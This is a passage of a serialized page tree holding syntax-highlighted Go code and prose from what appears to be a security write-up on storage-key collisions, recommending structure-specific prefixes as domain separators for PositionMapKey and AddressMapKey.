1642},[87757,87761,87765,87769],{"type":22,"tag":264,"props":87758,"children":87759},{"style":1549},[87760],{"type":27,"value":87186},{"type":22,"tag":264,"props":87762,"children":87763},{"style":4309},[87764],{"type":27,"value":77742},{"type":22,"tag":264,"props":87766,"children":87767},{"style":4401},[87768],{"type":27,"value":86889},{"type":22,"tag":264,"props":87770,"children":87771},{"style":1539},[87772],{"type":27,"value":4767},{"type":22,"tag":264,"props":87774,"children":87775},{"class":1534,"line":1660},[87776,87781,87785],{"type":22,"tag":264,"props":87777,"children":87778},{"style":1539},[87779],{"type":27,"value":87780},"        []",{"type":22,"tag":264,"props":87782,"children":87783},{"style":4722},[87784],{"type":27,"value":86090},{"type":22,"tag":264,"props":87786,"children":87787},{"style":1539},[87788],{"type":27,"value":4812},{"type":22,"tag":264,"props":87790,"children":87791},{"class":1534,"line":1668},[87792,87797,87801,87805,87809,87813,87817,87821],{"type":22,"tag":264,"props":87793,"children":87794},{"style":1549},[87795],{"type":27,"value":87796},"        hex",{"type":22,"tag":264,"props":87798,"children":87799},{"style":1539},[87800],{"type":27,"value":210},{"type":22,"tag":264,"props":87802,"children":87803},{"style":4401},[87804],{"type":27,"value":86926},{"type":22,"tag":264,"props":87806,"children":87807},{"style":1539},[87808],{"type":27,"value":2660},{"type":22,"tag":264,"props":87810,"children":87811},{"style":4401},[87812],{"type":27,"value":10436},{"type":22,"tag":264,"props":87814,"children":87815},{"style":1539},[87816],{"type":27,"value":2660},{"type":22,"tag":264,"props":87818,"children":87819},{"style":1549},[87820],{"type":27,"value":86796},{"type":22,"tag":264,"props":87822,"children":87823},{"style":1539},[87824],{"type":27,"value":86947},{"type":22,"tag":264,"props":87826,"children":87827},{"class":1534,"line":1677},[87828],{"type":22,"tag":264,"props":87829,"children":87830},{"style":1539},[87831],{"type":27,"value":25231},{"type":22,"tag":264,"props":87833,"children":87834},{"class":1534,"line":1686},[87835,87839,87843,87847,87851,87855,87859,87863],{"type":22,"tag":264,"props":87836,"children":87837},{"style":1549},[87838],{"type":27,"value":86917},{"type":22,"tag":264,"props":87840,"children":87841},{"style":1539},[87842],{"type":27,"value":210},{"type":22,"tag":264,"props":87844,"children":87845},{"style":4401},[87846],{"type":27,"value":86971},{"type":22,"tag":264,"props":87848,"children":87849},{"style":1539},[87850],{"type":27,"value":2660},{"type":22,"tag":264,"props":87852,"children":87853},{"style":1549},[87854],{"type":27,"value":86880},{"type":22,"tag":264,"props":87856,"children":87857},{"style":1539},[87858],{"type":27,"value":4380},{"type":22,"tag":264,"props":87860,"children":87861},{"style":1549},[87862],{"type":27,"value":86796},{"type":22,"tag":264,"props":87864,"children":87865},{"style":1539},[87866],{"type":27,"value":4463},{"type":22,"tag":264,"props":87868,"children":87869},{"class":1534,"line":4948},[87870],{"type":22,"tag":264,"props":87871,"children":87872},{"emptyLinePlaceholder":17},[87873],{"type":27,"value":4986},{"type":22,"tag":264,"props":87875,"children":87876},{"class":1534,"line":4957},[87877,87882,87886,87890],{"type":22,"tag":264,"props":87878,"children":87879},{"style":1549},[87880],{"type":27,"value":87881},"    positionNameEncoded",{"type":22,"tag":264,"props":87883,"children":87884},{"style":4309},[87885],{"type":27,"value":77742},{"type":22,"tag":264,"props":87887,"children":87888},{"style":4401},[87889],{"type":27,"value":86889},{"type":22,"tag":264,"props":87891,"children":87892},{"style":1539},[87893],{"type":27,"value":4767},{"type":22,"tag":264,"props":87895,"children":87896},{"class":1534,"line":4980},[87897,87901,87905],{"type":22,"tag":264,"props":87898,"children":87899},{"style":1539},[87900],{"type":27,"value":87780},{"type":22,"tag":264,"props":87902,"children":87903},{"style":4722},[87904],{"type":27,"value":86090},{"type":22,"tag":264,"props":87906,"children":87907},{"style":1539},[87908],{"type":27,"value":4812},{"type":22,"tag":264,"props":87910,"children":87911},{"class":1534,"line":4989},[87912,87916,87920,87924,87928,87932,87936,87940],{"type":22,"tag":264,"props":87913,"children":87914},{"style":1549},[87915],{"type":27,"value":87796},{"type":22,"tag":264,"props":87917,"children":87918},{"style":1539},[87919],{"type":27,"value":210},{"type":22,"tag":264,"props":87921,"children":87922},{"style":4401},[87923],{"type":27,"value":86926},{"type":22,"tag":264,"props":87925,"children":87926},{"style":1539},[87927],{"type":27,"value":2660},{"type":22,"tag":264,"props":87929,"children":87930},{"style":4401},[87931],{"type":27,"value":10436},{"type":22,"tag":264,"props":87933,"children":87934},{"style":1539},[87935],{"type":27,"value":2660},{"type":22,"tag":264,"props":87937,"children":87938},{"style":1549},[87939],{"type":27,"value":87065},{"type":22,"tag":264,"props":87941,"children":87942},{"style":1539},[87943],{"type":27,"value":86947},{"type":22,"tag":264,"props":87945,"children":87946},{"class":1534,"line":4998},[87947],{"type":22,"tag":264,"props":87948,"children":87949},{"style":1539},[87950],{"type":27,"value":25231},{"type":22,"tag":264,"props":87952,"children":87953},{"class":1534,"line":5067},[87954,87958,87962,87966,87970,87974,87978,87982],{"type":22,"tag":264,"props":87955,"children":87956},{"style":1549},[87957],{"type":27,"value":86917},{"type":22,"tag":264,"props":87959,"children":87960},{"style":1539},[87961],{"type":27,"value":210},{"type":22,"tag":264,"props":87963,"children":87964},{"style":4401},[87965],{"type":27,"value":86971},{"type":22,"tag":264,"props":87967,"children":87968},{"style":1539},[87969],{"type":27,"value":2660},{"type":22,"tag":264,"props":87971,"children":87972},{"style":1549},[87973],{"type":27,"value":87006},{"type":22,"tag":264,"props":87975,"children":87976},{"style":1539},[87977],{"type":27,"value":4380},{"type":22,"tag":264,"props":87979,"children":87980},{"style":1549},[87981],{"type":27,"value":87065},{"type":22,"tag":264,"props":87983,"children":87984},{"style":1539},[87985],{"type":27,"value":4463},{"type":22,"tag":264,"props":87987,"children":87988},{"class":1534,"line":5075},[87989],{"type":22,"tag":264,"props":87990,"children":87991},{"emptyLinePlaceholder":17},[87992],{"type":27,"value":4986},{"type":22,"tag":264,"props":87994,"children":87995},{"class":1534,"line":5105},[87996,88001,88005,88009,88013,88017],{"type":22,"tag":264,"props":87997,"children":87998},{"style":1549},[87999],{"type":27,"value":88000},"    key",{"type":22,"tag":264,"props":88002,"children":88003},{"style":4309},[88004],{"type":27,"value":77742},{"type":22,"tag":264,"props":88006,"children":88007},{"style":1549},[88008],{"type":27,"value":83560},{"type":22,"tag":264,"props":88010,"children":88011},{"style":1539},[88012],{"type":27,"value":210},{"type":22,"tag":264,"props":88014,"children":88015},{"style":4401},[88016],{"type":27,"value":86548},{"type":22,"tag":264,"props":88018,"children":88019},{"style":1539},[88020],{"type":27,"value":4767},{"type":22,"tag":264,"props":88022,"children":88023},{"class":1534,"line":5113},[88024,88029],{"type":22,"tag":264,"props":88025,"children":88026},{"style":1597},[88027],{"type":27,"value":88028},"        \"%d%s%s%s%s\"",{"type":22,"tag":264,"props":88030,"children":88031},{"style":1539},[88032],{"type":27,"value":4812},{"type":22,"tag":264,"props":88034,"children":88035},{"class":1534,"line":5145},[88036,88041],{"type":22,"tag":264,"props":88037,"children":88038},{"style":1549},[88039],{"type":27,"value":88040},"        vaultId",{"type":22,"tag":264,"props":88042,"children":88043},{"style":1539},[88044],{"type":27,"value":4812},{"type":22,"tag":264,"props":88046,"children":88047},{"class":1534,"line":5153},[88048,88053],{"type":22,"tag":264,"props":88049,"children":88050},{"style":1549},[88051],{"type":27,"value":88052},"        Seperator",{"type":22,"tag":264,"props":88054,"children":88055},{"style":1539},[88056],{"type":27,"value":4812},{"type":22,"tag":264,"props":88058,"children":88059},{"class":1534,"line":5213},[88060,88065],{"type":22,"tag":264,"props":88061,"children":88062},{"style":1549},[88063],{"type":27,"value":88064},"        usernameEncoded",{"type":22,"tag":264,"props":88066,"children":88067},{"style":1539},[88068],{"type":27,"value":4812},{"type":22,"tag":264,"props":88070,"children":88071},{"class":1534,"line":10343},[88072,88076],{"type":22,"tag":264,"props":88073,"children":88074},{"style":1549},[88075],{"type":27,"value":88052},{"type":22,"tag":264,"props":88077,"children":88078},{"style":1539},[88079],{"type":27,"value":4812},{"type":22,"tag":264,"props":88081,"children":88082},{"class":1534,"line":10361},[88083,88088],{"type":22,"tag":264,"props":88084,"children":88085},{"style":1549},[88086],{"type":27,"value":88087},"        positionNameEncoded",{"type":22,"tag":264,"props":88089,"children":88090},{"style":1539},[88091],{"type":27,"value":4812},{"type":22,"tag":264,"props":88093,"children":88094},{"class":1534,"line":10406},[88095],{"type":22,"tag":264,"props":88096,"children":88097},{"style":1539},[88098],{"type":27,"value":25231},{"type":22,"tag":264,"props":88100,"children":88101},{"class":1534,"line":10512},[88102],{"type":22,"tag":264,"props":88103,"children":88104},{"style":1539},[88105],{"type":27,"value":1692},{"type":22,"tag":264,"props":88107,"children":88108},{"class":1534,"line":24810},[88109],{"type":22,"tag":264,"props":88110,"children":88111},{"emptyLinePlaceholder":17},[88112],{"type":27,"value":4986},{"type":22,"tag":264,"props":88114,"children":88115},{"class":1534,"line":24845},[88116],{"type":22,"tag":264,"props":88117,"children":88118},{"emptyLinePlaceholder":17},[88119],{"type":27,"value":4986},{"type":22,"tag":264,"props":88121,"children":88122},{"class":1534,"line":24853},[88123,88127,88132],{"type":22,"tag":264,"props":88124,"children":88125},{"style":4293},[88126],{"type":27,"value":77626},{"type":22,"tag":264,"props":88128,"children":88129},{"style":4401},[88130],{"type":27,"value":88131}," AddressMapKey",{"type":22,"tag":264,"props":88133,"children":88134},{"style":1539},[88135],{"type":27,"value":4767},{"type":22,"tag":264,"props":88137,"children":88138},{"class":1534,"line":24861},[88139,88143,88147],{"type":22,"tag":264,"props":88140,"children":88141},{"style":1549},[88142],{"type":27,"value":86572},{"type":22,"tag":264,"props":88144,"children":88145},{"style":4722},[88146],{"type":27,"value":77747},{"type":22,"tag":264,"props":88148,"children":88149},{"style":1539},[88150],{"type":27,"value":4812},{"type":22,"tag":264,"props":88152,"children":88153},{"class":1534,"line":24870},[88154,88158,88162,88167,88171],{"type":22,"tag":264,"props":88155,"children":88156},{"style":1549},[88157],{"type":27,"value":86584},{"type":22,"tag":264,"props":88159,"children":88160},{"style":1539},[88161],{"type":27,"value":4380},{"type":22,"tag":264,"props":88163,"children":88164},{"style":1549},[88165],{"type":27,"value":88166},"addressName",{"type":22,"tag":264,"props":88168,"children":88169},{"style":1539},[88170],{"type":27,"value":77553},{"type":22,"tag":264,"props":88172,"children":88173},{"style":4722},[88174],{"type":27,"value":85553},{"type":22,"tag":264,"props":88176,"children":88177},{"class":1534,"line":24912},[88178,88182,88186,88190,88194],{"type":22,"tag":264,"props":88179,"children":88180},{"style":1539},[88181],{"type":27,"value":77708},{"type":22,"tag":264,"props":88183,"children":88184},{"style":1549},[88185],{"type":27,"value":73480},{"type":22,"tag":264,"props":88187,"children":88188},{"style":1539},[88189],{"type":27,"value":77553},{"type":22,"tag":264,"props":88191,"children":88192},{"style":4722},[88193],{"type":27,"value":86090},{"type":22,"tag":264,"props":88195,"children":88196},{"style":1539},[88197],{"type":27,"value":16103},{"type":22,"tag":264,"props":88199,"children":88200},{"class":1534,"line":24945},[88201,88205,88209,88213],{"type":22,"tag":264,"props":88202,"children":88203},{"style":1549},[88204],{"type":27,"value":87186},{"type":22,"tag":264,"props":88206,"children":88207},{"style":4309},[88208],{"type":27,"value":77742},{"type":22,"tag":264,"props":88210,"children":88211},{"style":4401},[88212],{"type":27,"value":86889},{"type":22,"tag":264,"props":88214,"children":88215},{"style":1539},[88216],{"type":27,"value":4767},{"type":22,"tag":264,"props":88218,"children":88219},{"class":1534,"line":24953},[88220,88224,88228],{"type":22,"tag":264,"props":88221,"children":88222},{"style":1539},[88223],{"type":27,"value":87780},{"type":22,"tag":264,"props":88225,"children":88226},{"style":4722},[88227],{"type":27,"value":86090},{"type":22,"tag":264,"props":88229,"children":88230},{"style":1539},[88231],{"type":27,"value":4812},{"type":22,"tag":264,"props":88233,"children":88234},{"class":1534,"line":24961},[88235,88239,88243,88247,88251,88255,88259,88263],{"type":22,"tag":264,"props":88236,"children":88237},{"style":1549},[88238],{"type":27,"value":87796},{"type":22,"tag":264,"props":88240,"children":88241},{"style":1539},[88242],{"type":27,"value":210},{"type":22,"tag":264,"props":88244,"children":88245},{"style":4401},[88246],{"type":27,"value":86926},{"type":22,"tag":264,"props":88248,"children":88249},{"style":1539},[88250],{"type":27,"value":2660},{"type":22,"tag":264,"props":88252,"children":88253},{"style":4401},[88254],{"type":27,"value":10436},{"type":22,"tag":264,"props":88256,"children":88257},{"style":1539},[88258],{"type":27,"value":2660},{"type":22,"tag":264,"props":88260,"children":88261},{"style":1549},[88262],{"type":27,"value":86796},{"type":22,"tag":264,"props":88264,"children":88265},{"style":1539},[88266],{"type":27,"value":86947},{"type":22,"tag":264,"props":88268,"children":88269},{"class":1534,"line":24970},[88270],{"type":22,"tag":264,"props":88271,"children":88272},{"style":1539},[88273],{"type":27,"value":25231},{"type":22,"tag":264,"props":88275,"children":88276},{"class":1534,"line":25046},[88277,88281,88285,88289,88293,88297,88301,88305],{"type":22,"tag":264,"props":88278,"children":88279},{"style":1549},[88280],{"type":27,"value":86917},{"type":22,"tag":264,"props":88282,"children":88283},{"style":1539},[88284],{"type":27,"value":210},{"type":22,"tag":264,"props":88286,"children":88287},{"style":4401},[88288],{"type":27,"value":86971},{"type":22,"tag":264,"props":88290,"children":88291},{"style":1539},[88292],{"type":27,"value":2660},{"type":22,"tag":264,"props":88294,"children":88295},{"style":1549},[88296],{"type":27,"value":86880},{"type":22,"tag":264,"props":88298,"children":88299},{"style":1539},[88300],{"type":27,"value":4380},{"type":22,"tag":264,"props":88302,"children":88303},{"style":1549},[88304],{"type":27,"value":86796},{"type":22,"tag":264,"props":88306,"children":88307},{"style":1539},[88308],{"type":27,"value":4463},{"type":22,"tag":264,"props":88310,"children":88311},{"class":1534,"line":25079},[88312],{"type":22,"tag":264,"props":88313,"children":88314},{"emptyLinePlaceholder":17},[88315],{"type":27,"value":4986},{"type":22,"tag":264,"props":88317,"children":88318},{"class":1534,"line":25087},[88319,88324,88328,88332],{"type":22,"tag":264,"props":88320,"children":88321},{"style":1549},[88322],{"type":27,"value":88323},"    addressNameEncoded",{"type":22,"tag":264,"props":88325,"children":88326},{"style":4309},[88327],{"type":27,"value":77742},{"type":22,"tag":264,"props":88329,"children":88330},{"style":4401},[88331],{"type":27,"value":86889},{"type":22,"tag":264,"props":88333,"children":88334},{"style":1539},[88335],{"type":27,"value":4767},{"type":22,"tag":264,"props":88337,"children":88338},{"class":1534,"line":25095},[88339,88343,88347],{"type":22,"tag":264,"props":88340,"children":88341},{"style":1539},[88342],{"type":27,"value":87780},{"type":22,"tag":264,"props":88344,"children":88345},{"style":4722},[88346],{"type":27,"value":86090},{"type":22,"tag":264,"props":88348,"children":88349},{"style":1539},[88350],{"type":27,"value":4812},{"type":22,"tag":264,"props":88352,"children":88353},{"class":1534,"line":25132},[88354,88358,88362,88366,88370,88374,88378,88382],{"type":22,"tag":264,"props":88355,"children":88356},{"style":1549},[88357],{"type":27,"value":87796},{"type":22,"tag":264,"props":88359,"children":88360},{"style":1539},[88361],{"type":27,"value":210},{"type":22,"tag":264,"props":88363,"children":88364},{"style":4401},[88365],{"type":27,"value":86926},{"type":22,"tag":264,"props":88367,"children":88368},{"style":1539},[88369],{"type":27,"value":2660},{"type":22,"tag":264,"props":88371,"children":88372},{"style":4401},[88373],{"type":27,"value":10436},{"type":22,"tag":264,"props":88375,"children":88376},{"style":1539},[88377],{"type":27,"value":2660},{"type":22,"tag":264,"props":88379,"children":88380},{"style":1549},[88381],{"type":27,"value":88166},{"type":22,"tag":264,"props":88383,"children":88384},{"style":1539},[88385],{"type":27,"value":86947},{"type":22,"tag":264,"props":88387,"children":88388},{"class":1534,"line":25145},[88389],{"type":22,"tag":264,"props":88390,"children":88391},{"style":1539},[88392],{"type":27,"value":25231},{"type":22,"tag":264,"props":88394,"children":88395},{"class":1534,"line":25158},[88396,88400,88404,88408,88412,88417,88421,88425],{"type":22,"tag":264,"props":88397,"children":88398},{"style":1549},[88399],{"type":27,"value":86917},{"type":22,"tag":264,"props":88401,"children":88402},{"style":1539},[88403],{"type":27,"value":210},{"type":22,"tag":264,"props":88405,"children":88406},{"style":4401},[88407],{"type":27,"value":86971},{"type":22,"tag":264,"props":88409,"children":88410},{"style":1539},[88411],{"type":27,"value":2660},{"type":22,"tag":264,"props":88413,"children":88414},{"style":1549},[88415],{"type":27,"value":88416},"addressNameEncoded",{"type":22,"tag":264,"props":88418,"children":88419},{"style":1539},[88420],{"type":27,"value":4380},{"type":22,"tag":264,"props":88422,"children":88423},{"style":1549},[88424],{"type":27,"value":88166},{"type":22,"tag":264,"props":88426,"children":88427},{"style":1539},[88428],{"type":27,"value":4463},{"type":22,"tag":264,"props":88430,"children":88431},{"class":1534,"line":25171},[88432],{"type":22,"tag":264,"props":88433,"children":88434},{"emptyLinePlaceholder":17},[88435],{"type":27,"value":4986},{"type":22,"tag":264,"props":88437,"children":88438},{"class":1534,"line":25225},[88439,88443,88447,88451,88455,88459],{"type":22,"tag":264,"props":88440,"children":88441},{"style":1549},[88442],{"type":27,"value":88000},{"type":22,"tag":264,"props":88444,"children":88445},{"style":4309},[88446],{"type":27,"value":77742},{"type":22,"tag":264,"props":88448,"children":88449},{"style":1549},[88450],{"type":27,"value":83560},{"type":22,"tag":264,"props":88452,"children":88453},{"style":1539},[88454],{"type":27,"value":210},{"type":22,"tag":264,"props":88456,"children":88457},{"style":4401},[88458],{"type":27,"value":86548},{"type":22,"tag":264,"props":88460,"children":88461},{"style":1539},[88462],{"type":27,"value":4767},{"type":22,"tag":264,"props":88464,"children":88465},{"class":1534,"line":25234},[88466,88470],{"type":22,"tag":264,"props":88467,"children":88468},{"style":1597},[88469],{"type":27,"value":88028},{"type":22,"tag":264,"props":88471,"children":88472},{"style":1539},[88473],{"type":27,"value":4812},{"type":22,"tag":264,"props":88475,"children":88476},{"class":1534,"line":33596},[88477,88481],{"type":22,"tag":264,"props":88478,"children":88479},{"style":1549},[88480],{"type":27,"value":88040},{"type":22,"tag":264,"props":88482,"children":88483},{"style":1539},[88484],{"type":27,"value":4812},{"type":22,"tag":264,"props":88486,"children":88487},{"class":1534,"line":33617},[88488,88492],{"type":22,"tag":264,"props":88489,"children":88490},{"style":1549},[88491],{"type":27,"value":88052},{"type":22,"tag":264,"props":88493,"children":88494},{"style":1539},[88495],{"type":27,"value":4812},{"type":22,"tag":264,"props":88497,"children":88498},{"class":1534,"line":82277},[88499,88503],{"type":22,"tag":264,"props":88500,"children":88501},{"style":1549},[88502],{"type":27,"value":88064},{"type":22,"tag":264,"props":88504,"children":88505},{"style":1539},[88506],{"type":27,"value":4812},{"type":22,"tag":264,"props":88508,"children":88509},{"class":1534,"line":82290},[88510,88514],{"type":22,"tag":264,"props":88511,"children":88512},{"style":1549},[88513],{"type":27,"value":88052},{"type":22,"tag":264,"props":88515,"children":88516},{"style":1539},[88517],{"type":27,"value":4812},{"type":22,"tag":264,"props":88519,"children":88520},{"class":1534,"line":82298},[88521,88526],{"type":22,"tag":264,"props":88522,"children":88523},{"style":1549},[88524],{"type":27,"value":88525},"        addressNameEncoded",{"type":22,"tag":264,"props":88527,"children":88528},{"style":1539},[88529],{"type":27,"value":4812},{"type":22,"tag":264,"props":88531,"children":88532},{"class":1534,"line":82306},[88533],{"type":22,"tag":264,"props":88534,"children":88535},{"style":1539},[88536],{"type":27,"value":25231},{"type":22,"tag":264,"props":88538,"children":88539},{"class":1534,"line":82314},[88540],{"type":22,"tag":264,"props":88541,"children":88542},{"style":1539},[88543],{"type":27,"value":1692},{"type":22,"tag":23,"props":88545,"children":88546},{},[88547,88549,88554],{"type":27,"value":88548},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":22,"tag":257,"props":88550,"children":88552},{"className":88551},[],[88553],{"type":27,"value":86302},{"type":27,"value":88555},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":22,"tag":618,"props":88557,"children":88559},{"code":88558},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[88560],{"type":22,"tag":257,"props":88561,"children":88562},{"__ignoreMap":7},[88563],{"type":27,"value":88558},{"type":22,"tag":23,"props":88565,"children":88566},{},[88567],{"type":27,"value":88568},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":22,"tag":618,"props":88570,"children":88572},{"code":88571,"language":77490,"meta":7,"className":77491,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88573],{"type":22,"tag":257,"props":88574,"children":88575},{"__ignoreMap":7},[88576,88587,88602,88629,88654,88661,88668,88675,88690,88705,88732,88755,88774,88789,88824,88831,88866,88873,88892,88907,88942,88949,88984,88991,89018,89030,89042,89053,89064,89075,89086,89097,89104,89111,89118,89125,89140,89155,89182,89205,89224,89239,89274,89281,89316,89323,89342,89357,89392,89399,89434,89441,89468,89479,89491,89502,89513,89524,89535,89546,89554],{"type":22,"tag":264,"props":88577,"children":88578},{"class":1534,"line":1535},[88579,88583],{"type":22,"tag":264,"props":88580,"children":88581},{"style":4293},[88582],{"type":27,"value":10953},{"type":22,"tag":264,"props":88584,"children":88585},{"style":1539},[88586],{"type":27,"value":79892},{"type":22,"tag":264,"props":88588,"children":88589},{"class":1534,"line":1545},[88590,88594,88598],{"type":22,"tag":264,"props":88591,"children":88592},{"style":1549},[88593],{"type":27,"value":86656},{"type":22,"tag":264,"props":88595,"children":88596},{"style":4309},[88597],{"type":27,"value":4312},{"type":22,"tag":264,"props":88599,"children":88600},{"style":1597},[88601],{"type":27,"value":86665},{"type":22,"tag":264,"props":88603,"children":88604},{"class":1534,"line":1560},[88605,88610,88614,88619,88624],{"type":22,"tag":264,"props":88606,"children":88607},{"style":1549},[88608],{"type":27,"value":88609},"    PositionMapPrefix",{"type":22,"tag":264,"props":88611,"children":88612},{"style":4309},[88613],{"type":27,"value":4312},{"type":22,"tag":264,"props":88615,"children":88616},{"style":1597},[88617],{"type":27,"value":88618}," \"",{"type":22,"tag":264,"props":88620,"children":88621},{"style":49693},[88622],{"type":27,"value":88623},"\\x01",{"type":22,"tag":264,"props":88625,"children":88626},{"style":1597},[88627],{"type":27,"value":88628},"\"\n",{"type":22,"tag":264,"props":88630,"children":88631},{"class":1534,"line":1569},[88632,88637,88641,88645,88650],{"type":22,"tag":264,"props":88633,"children":88634},{"style":1549},[88635],{"type":27,"value":88636},"    AddressMapPrefix",{"type":22,"tag":264,"props":88638,"children":88639},{"style":4309},[88640],{"type":27,"value":4312},{"type":22,"tag":264,"props":88642,"children":88643},{"style":1597},[88644],{"type":27,"value":88618},{"type":22,"tag":264,"props":88646,"children":88647},{"style":49693},[88648],{"type":27,"value":88649},"\\x02",{"type":22,"tag":264,"props":88651,"children":88652},{"style":1597},[88653],{"type":27,"value":88628},{"type":22,"tag":264,"props":88655,"children":88656},{"class":1534,"line":1583},[88657],{"type":22,"tag":264,"props":88658,"children":88659},{"style":1539},[88660],{"type":27,"value":4463},{"type":22,"tag":264,"props":88662,"children":88663},{"class":1534,"line":1603},[88664],{"type":22,"tag":264,"props":88665,"children":88666},{"emptyLinePlaceholder":17},[88667],{"type":27,"value":4986},{"type":22,"tag":264,"props":88669,"children":88670},{"class":1534,"line":1612},[88671],{"type":22,"tag":264,"props":88672,"children":88673},{"emptyLinePlaceholder":17},[88674],{"type":27,"value":4986},{"type":22,"tag":264,"props":88676,"children":88677},{"class":1534,"line":1621},[88678,88682,88686],{"type":22,"tag":264,"props":88679,"children":88680},{"style":4293},[88681],{"type":27,"value":77626},{"type":22,"tag":264,"props":88683,"children":88684},{"style":4401},[88685],{"type":27,"value":87684},{"type":22,"tag":264,"props":88687,"children":88688},{"style":1539},[88689],{"type":27,"value":4767},{"type":22,"tag":264,"props":88691,"children":88692},{"class":1534,"line":1629},[88693,88697,88701],{"type":22,"tag":264,"props":88694,"children":88695},{"style":1549},[88696],{"type":27,"value":86572},{"type":22,"tag":264,"props":88698,"children":88699},{"style":4722},[88700],{"type":27,"value":77747},{"type":22,"tag":264,"props":88702,"children":88703},{"style":1539},[88704],{"type":27,"value":4812},{"type":22,"tag":264,"props":88706,"children":88707},{"class":1534,"line":1642},[88708,88712,88716,88720,88724,88728],{"type":22,"tag":264,"props":88709,"children":88710},{"style":1549},[88711],{"type":27,"value":86584},{"type":22,"tag":264,"props":88713,"children":88714},{"style":1539},[88715],{"type":27,"value":4380},{"type":22,"tag":264,"props":88717,"children":88718},{"style":1549},[88719],{"type":27,"value":87065},{"type":22,"tag":264,"props":88721,"children":88722},{"style":1539},[88723],{"type":27,"value":77553},{"type":22,"tag":264,"props":88725,"children":88726},{"style":4722},[88727],{"type":27,"value":86090},{"type":22,"tag":264,"props":88729,"children":88730},{"style":1539},[88731],{"type":27,"value":4812},{"type":22,"tag":264,"props":88733,"children":88734},{"class":1534,"line":1660},[88735,88739,88743,88747,88751],{"type":22,"tag":264,"props":88736,"children":88737},{"style":1539},[88738],{"type":27,"value":77708},{"type":22,"tag":264,"props":88740,"children":88741},{"style":1549},[88742],{"type":27,"value":73480},{"type":22,"tag":264,"props":88744,"children":88745},{"style":1539},[88746],{"type":27,"value":77553},{"type":22,"tag":264,"props":88748,"children":88749},{"style":4722},[88750],{"type":27,"value":86090},{"type":22,"tag":264,"props":88752,"children":88753},{"style":1539},[88754],{"type":27,"value":16103},{"type":22,"tag":264,"props":88756,"children":88757},{"class":1534,"line":1668},[88758,88762,88766,88770],{"type":22,"tag":264,"props":88759,"children":88760},{"style":1549},[88761],{"type":27,"value":87186},{"type":22,"tag":264,"props":88763,"children":88764},{"style":4309},[88765],{"type":27,"value":77742},{"type":22,"tag":264,"props":88767,"children":88768},{"style":4401},[88769],{"type":27,"value":86889},{"type":22,"tag":264,"props":88771,"children":88772},{"style":1539},[88773],{"type":27,"value":4767},{"type":22,"tag":264,"props":88775,"children":88776},{"class":1534,"line":1677},[88777,88781,88785],{"type":22,"tag":264,"props":88778,"children":88779},{"style":1539},[88780],{"type":27,"value":87780},{"type":22,"tag":264,"props":88782,"children":88783},{"style":4722},[88784],{"type":27,"value":86090},{"type":22,"tag":264,"props":88786,"children":88787},{"style":1539},[88788],{"type":27,"value":4812},{"type":22,"tag":264,"props":88790,"children":88791},{"class":1534,"line":1686},[88792,88796,88800,88804,88808,88812,88816,88820],{"type":22,"tag":264,"props":88793,"children":88794},{"style":1549},[88795],{"type":27,"value":87796},{"type":22,"tag":264,"props":88797,"children":88798},{"style":1539},[88799],{"type":27,"value":210},{"type":22,"tag":264,"props":88801,"children":88802},{"style":4401},[88803],{"type":27,"value":86926},{"type":22,"tag":264,"props":88805,"children":88806},{"style":1539},[88807],{"type":27,"value":2660},{"type":22,"tag":264,"props":88809,"children":88810},{"style":4401},[88811],{"type":27,"value":10436},{"type":22,"tag":264,"props":88813,"children":88814},{"style":1539},[88815],{"type":27,"value":2660},{"type":22,"tag":264,"props":88817,"children":88818},{"style":1549},[88819],{"type":27,"value":86796},{"type":22,"tag":264,"props":88821,"children":88822},{"style":1539},[88823],{"type":27,"value":86947},{"type":22,"tag":264,"props":88825,"children":88826},{"class":1534,"line":4948},[88827],{"type":22,"tag":264,"props":88828,"children":88829},{"style":1539},[88830],{"type":27,"value":25231},{"type":22,"tag":264,"props":88832,"children":88833},{"class":1534,"line":4957},[88834,88838,88842,88846,88850,88854,88858,88862],{"type":22,"tag":264,"props":88835,"children":88836},{"style":1549},[88837],{"type":27,"value":86917},{"type":22,"tag":264,"props":88839,"children":88840},{"style":1539},[88841],{"type":27,"value":210},{"type":22,"tag":264,"props":88843,"children":88844},{"style":4401},[88845],{"type":27,"value":86971},{"type":22,"tag":264,"props":88847,"children":88848},{"style":1539},[88849],{"type":27,"value":2660},{"type":22,"tag":264,"props":88851,"children":88852},{"style":1549},[88853],{"type":27,"value":86880},{"type":22,"tag":264,"props":88855,"children":88856},{"style":1539},[88857],{"type":27,"value":4380},{"type":22,"tag":264,"props":88859,"children":88860},{"style":1549},[88861],{"type":27,"value":86796},{"type":22,"tag":264,"props":88863,"children":88864},{"style":1539},[88865],{"type":27,"value":4463},{"type":22,"tag":264,"props":88867,"children":88868},{"class":1534,"line":4980},[88869],{"type":22,"tag":264,"props":88870,"children":88871},{"emptyLinePlaceholder":17},[88872],{"type":27,"value":4986},{"type":22,"tag":264,"props":88874,"children":88875},{"class":1534,"line":4989},[88876,88880,88884,88888],{"type":22,"tag":264